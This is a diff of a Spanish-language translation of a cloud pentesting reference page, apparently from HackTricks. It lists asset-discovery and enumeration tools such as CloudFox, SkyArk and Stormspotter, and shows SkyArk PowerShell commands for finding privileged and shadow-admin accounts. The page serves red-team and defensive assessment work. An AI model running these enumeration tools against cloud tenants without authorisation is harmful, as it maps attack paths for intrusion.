soporta: AWS, Azure, Office 365, Rackspace, Salesforce. Se requieren algunas configuraciones adicionales en **Azure** para obtener un **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist es una herramienta multi-cloud para obtener Assets (Hostnames, IP Addresses) de Cloud Providers. +Cloudlist es una **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) de Cloud Providers. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +267,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista de grafo intuitiva impulsada por una base de datos Neo4j. +Cartography es una herramienta en Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista de grafo intuitiva impulsada por una base de datos Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +363,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Descubre los usuarios con más privilegios en el entorno AWS o Azure escaneado, incluyendo los AWS Shadow Admins. Usa powershell. +Descubre los usuarios más privilegiados en el entorno AWS o Azure escaneado, incluyendo los AWS Shadow Admins. Usa powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,13 +374,13 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores en la nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (target) en los principales proveedores de la nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox es una herramienta para encontrar rutas de ataque explotables en la infraestructura en la nube (actualmente solo soporta AWS & Azure; GCP próximamente). -- Es una herramienta de enumeration diseñada para complementar el pentesting manual. -- No crea ni modifica ningún dato dentro del entorno en la nube. +- CloudFox es una herramienta para encontrar exploitable attack paths en la infraestructura cloud (actualmente solo soporta AWS & Azure; GCP próximamente). +- Es una herramienta de enumeración destinada a complementar el pentesting manual. +- No crea ni modifica ningún dato dentro del entorno cloud. ### More lists of cloud security tools @@ -412,11 +414,11 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “attack graph” de los recursos en una suscripción de Azure. Permite a red teams y pentesters visualizar la superficie de ataque y las oportunidades de pivot dentro de un tenant, y potencia a tus defenders para orientar y priorizar rápidamente el trabajo de respuesta a incidentes. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “attack graph” de los recursos en una suscripción de Azure. Permite a red teams y pentesters visualizar la superficie de ataque y las oportunidades de pivot dentro de un tenant, y potencia a tus defensores para orientarse y priorizar rápidamente el trabajo de respuesta a incidentes. ### Office365 -Necesitas **Global Admin** o al menos **Global Admin Reader** (ten en cuenta que Global Admin Reader es algo limitado). Sin embargo, esas limitaciones aparecen en algunos módulos PS y pueden ser evitadas accediendo a las funciones **vía la aplicación web**. +Necesitas **Global Admin** o al menos **Global Admin Reader** (ten en cuenta que Global Admin Reader es algo limitado). Sin embargo, esas limitaciones aparecen en algunos PS modules y pueden ser eludidas accediendo a las funciones **vía la aplicación web**. {{#include ../banners/hacktricks-training.md}}